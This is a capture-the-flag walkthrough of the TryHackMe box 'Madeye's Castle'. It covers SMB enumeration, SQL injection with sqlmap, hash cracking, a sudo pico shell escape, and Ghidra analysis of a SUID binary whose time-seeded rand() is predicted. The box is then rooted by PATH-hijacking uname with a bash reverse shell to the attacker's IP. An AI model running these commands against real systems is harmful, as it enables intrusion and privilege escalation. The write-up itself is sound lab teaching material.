Madeye’s Castle

A boot2root box that is modified from a box used in CuCTF by the team at Runcode.ninja

This is Madeye’s Castle from THM. It’s medium rated and came out earlier today.

Ports

SSH, HTTP on Port 80 and SMB (139/445) are our open ports.

SMB

We have anonymous login with one hidden file and one not hidden file:

root@kali:/run/user/0/gvfs/smb-share:server=10.10.123.57,share=sambashare# ls -lash
total 1.5K
   0 drwx------ 1 root root   0 Nov 25 20:19 .
   0 dr-x------ 3 root root   0 Jan 31 19:30 ..
 512 -rwx------ 1 root root 147 Nov 25 20:19 .notes.txt
1.0K -rwx------ 1 root root 874 Nov 25 20:06 spellnames.txt

The spellnames.txt looks for all the world like a list of passwords, while the notes adds some flavour:

Hagrid told me that spells names are not good since they will not “rock you”
Hermonine loves historical text editors along with reading old books.

Okey dokey, a cryptic hint. By the way I’ve never read Harry Potter but even I know that’s not how you spell Hermione.

Web

At the website we have a slightly modified version of the Apache default page. Checking the page source we see this comment:

TODO: Virtual hosting is good.
TODO: Register for hogwartz-castle.thm

Okey dokey, adding hogwartz-castle.thm to /etc/hosts. Doing this and visting the page reveals a login portal. I generate a name list based on Harry Potter characters and throw patator at it:

root@kali:/opt/tryhackme/castle# patator http_fuzz url=http://hogwartz-castle.htm/ method=POST body='user=FILE0&password=FILE1' 0=./users.txt 1=./spellnames.txt -x ignore:fgrep='Incorrect Username or Password'

No dice. What about SQLi? Yes. I usually use sqlmap inside Burp Suite and this was no exception. It took a few attempts to get the parameters right but this is what it looked like:

-u 'http://hogwartz-castle.thm:80/login' --data='user=doesnot&password=pass' --level=2 --risk=3 --dump --no-cast -T users

With this, I got some hashes, including this:

Harry Turner,0,”My linux username is my first name, and password uses best64”,b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52c40c252c0e7ea7f5050dec63cf3c85290c0a2c5c885

Well, that’s a long hash! Hash-identifier says it’s SHA-512, and who am I to argue. Following the instruction, and using the information given, I ask John nicely:

root@kali:/opt/tryhackme/castle# john hash --format=Raw-SHA512 -w=./spellnames.txt --rules-stack=best64
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 128/128 AVX 2x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
wingardiumleviosa123 (?)
1g 0:00:00:00 DONE (2021-01-31 21:39) 100.0g/s 614400p/s 614400c/s 614400C/s terga..aguamenti21
Use the "--show" option to display all of the cracked passwords reliably

Now we have the SSH password for harry. Oh also I tried this with Hashcat and it didn’t work. Shrug.

Old what’s ‘er name?

Let’s see what Harry can do:

harry@hogwartz-castle:~$ sudo -l
[sudo] password for harry: 
Matching Defaults entries for harry on hogwartz-castle:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry may run the following commands on hogwartz-castle:
    (hermonine) /usr/bin/pico
    (hermonine) /usr/bin/pico

Right, so we can become hermonine … ah yeah, sure.

GTFOBins has our method:

sudo pico
^R^X
reset; sh 1>&0 2>&0

This works, and we are hermonine.

Hermonine

hermonine has an ssh folder in her home, so I add my SSH public key to authorized_keys so I can SSH in. Much nicer.

She has an interesting file in her home directory:

hermonine@hogwartz-castle:~$ ls -lash
total 40K
4.0K drwxr-x--- 5 hermonine hermonine 4.0K Nov 26 01:29 .
4.0K drwxr-xr-x 4 root      root      4.0K Nov 26 01:50 ..
   0 lrwxrwxrwx 1 root      root         9 Nov 26 01:06 .bash_history -> /dev/null
4.0K -rw-r----- 1 hermonine hermonine  220 Apr  4  2018 .bash_logout
4.0K -rw-r----- 1 hermonine hermonine 3.7K Apr  4  2018 .bashrc
4.0K drwx------ 2 hermonine hermonine 4.0K Nov 26 01:29 .cache
4.0K drwx------ 3 hermonine hermonine 4.0K Nov 26 01:29 .gnupg
4.0K -rw-r----- 1 hermonine hermonine  807 Apr  4  2018 .profile
4.0K -rw------- 1 hermonine hermonine   36 Nov 26 01:23 .python_history
4.0K drwxr-x--- 2 hermonine hermonine 4.0K Feb  1 02:43 .ssh
4.0K -rw-r----- 1 hermonine hermonine   45 Nov 26 01:06 user2.txt
hermonine@hogwartz-castle:~$ cat .python_history 
import pwn
exit()
import pwn
exit()

So we have pwntools. Interesting.

Let’s run linpeas, because I like linpeas:

-rwsr-xr-x 1 root   root       8.7K Nov 26 01:06 /srv/time-turner/swagger
  --- It looks like /srv/time-turner/swagger is executing time and you can impersonate it (strings line: time)
  --- It looks like /srv/time-turner/swagger is executing uname and you can impersonate it (strings line: uname -p)
  --- Trying to execute /srv/time-turner/swagger with strace in order to look for hijackable libraries...
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3

Right, so something funny going on with a binary /srv/time-turner/swagger. Let’s run it:

hermonine@hogwartz-castle:/dev/shm$ /srv/time-turner/swagger 
Guess my number: 1
Nope, that is not what I was thinking
I was thinking of 840116301

Okay, let’s just do that again:

hermonine@hogwartz-castle:/dev/shm$ /srv/time-turner/swagger 
Guess my number: 1
Nope, that is not what I was thinking
I was thinking of 677589366

This might require some more examination.

Examination

Since I’ve got SSH access, let’s grab the file with SCP:

root@kali:/opt/tryhackme/castle# scp hermonine@10.10.123.57:/srv/time-turner/swagger swagger

And have a look in Ghidra.

We have a main method:

undefined8 main(void)

{
  time_t tVar1;
  long in_FS_OFFSET;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  local_14 = rand();
  printf("Guess my number: ");
  __isoc99_scanf(&DAT_00100b8d,&local_18);
  if (local_14 == local_18) {
    impressive();
  }
  else {
    puts("Nope, that is not what I was thinking");
    printf("I was thinking of %d\n",(ulong)local_14);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

And we better check the impressive method too:

void impressive(void)

{
  setregid(0,0);
  setreuid(0,0);
  puts("Nice use of the time-turner!");
  printf("This system architecture is ");
  fflush(stdout);
  system("uname -p");
  return;
}

Right, so what’s going on here?

The C library function time_t time(time_t *seconds) returns the time since the Epoch (00:00:00 UTC, January 1, 1970), measured in seconds

and

The C library function void srand(unsigned int seed) seeds the random number generator used by the function rand.

Definitions from tutorialspoint. So in the main method, the time in seconds is used to seed a random value, which is then compared to the guess. If the guess is correct, the impressive method is called, which then does setreuid and uses uname with a path. So we have to abuse uname, and we have to guess the correct number.

Non-random

We can get the system time in seconds like so:

root@kali:/opt/tryhackme/castle/crack# date '+%s'
1612169467

So we run that on the box to see what the current system time is. We can create our own file:

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main () {

   time_t timeval;
   unsigned number;
   timeval = 1612158200;
   srand((unsigned)timeval);
   number = rand();

   printf("Value:  %d\n", number);
   return(0);
}

In this we enter some value for timeval which is in the near future, and get out what the seeded random number would be. For this example:

root@kali:/opt/tryhackme/castle# gcc nonrand.c -o nonrand
root@kali:/opt/tryhackme/castle# ./nonrand 
Value:  1477455573

Now we need to create a malicious uname on the box:

hermonine@hogwartz-castle:/tmp$ printf '#!/bin/bash\n' >> uname
hermonine@hogwartz-castle:/tmp$ printf 'bash -i >& /dev/tcp/10.9.10.123/1234 0>&1\n' >> uname
hermonine@hogwartz-castle:/tmp$ chmod 777 uname
hermonine@hogwartz-castle:/tmp$ export PATH=/tmp:$PATH

Then we start a listener. Note I did try this in /dev/shm first but it didn’t work; I assume /dev/shm was set as non-executable. It happens sometimes.

Now, we need to pass our non-random number to the binary at the right time. Presumably this is why we were given pwntools. We don’t need it; I just spammed this leading up to the time:

hermonine@hogwartz-castle:/tmp$ echo '1477455573' | /srv/time-turner/swagger

We get a new random number once every second and the script runs fast so it’s not hard to do this manually; sure enough:

hermonine@hogwartz-castle:/tmp$ echo '1477455573' | /srv/time-turner/swagger 
Guess my number: Nice use of the time-turner!
This system architecture is 

And in the listener:

root@kali:/opt/tryhackme/castle# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.9.10.123] from (UNKNOWN) [10.10.79.116] 42138
root@hogwartz-castle:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),1002(hermonine)

Boom, pwned.